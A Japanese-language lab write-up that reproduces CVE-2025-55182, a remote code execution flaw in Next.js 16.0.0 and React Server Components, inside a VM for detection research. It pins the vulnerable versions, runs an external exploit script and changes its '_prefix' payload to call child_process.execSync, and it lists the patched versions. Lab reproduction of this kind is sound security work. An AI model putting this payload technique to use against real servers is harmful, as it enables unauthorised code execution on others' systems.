
CVE-2025-55182 の再現可能なラボ。Next.js 16.0.0 と React Server Components に対するリモートコード実行の実証、外部エクスプロイトの実行および副作用の検証を含む。
このドキュメントは、Multipass Ubuntu VM 内で動作する脆弱性のある Next.js + React Server Components 環境に対する CVE-2025-55182 リモートコード実行 (RCE) を実証するための、完全で再現可能なセットアップを提供します。
エクスプロイトは VM の外部 から実行され、リモートでの悪用可能性を証明するとともに、異常な動作の検出に向けた環境を準備します。
ソース: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
確認:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.json で脆弱性のあるバージョンを固定依存関係の編集:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
パッケージの再インストール:
rm -rf node_modules package-lock.json
npm install
確認:
npm list react react-dom next
期待される出力:
npm run build
npm start
期待される出力:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

別のマシンで:
curl http://10.102.169.126:3000
Next.js のデフォルト HTML ページが返ってくるはずです。
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
次の箇所を探す:
hostname: 'localhost',
次のように置き換える:
hostname: '10.X.X.X',
Next が実行中の状態で:
node test-simple.cjs
Next.js のターミナルに期待される出力:
NON-CHUNKED-RCE
これにより、脆弱性のあるバージョンを使った React Flight 経由のリモートコード実行 が確認できます。

目標は、観測可能な動作 (ファイルシステム + プロセス実行) を生成することです。
test-simple.cjs 内の _prefix の編集次の箇所を探す:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
次のように置き換える:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
注意: 実行コンテキストでは require は利用できませんが、process.mainModule.require() は利用できます。
Next が実行中であることを確認してから:
node test-simple.cjs
ファイル作成の確認:
ls -l /tmp/
次のように表示されるはずです:
cve-2025-55182-syscall
これにより、副作用を伴う機能的な RCE が確認できます。

パッチ:
React ≥ 19.2.1
Next.js ≥ 16.0.7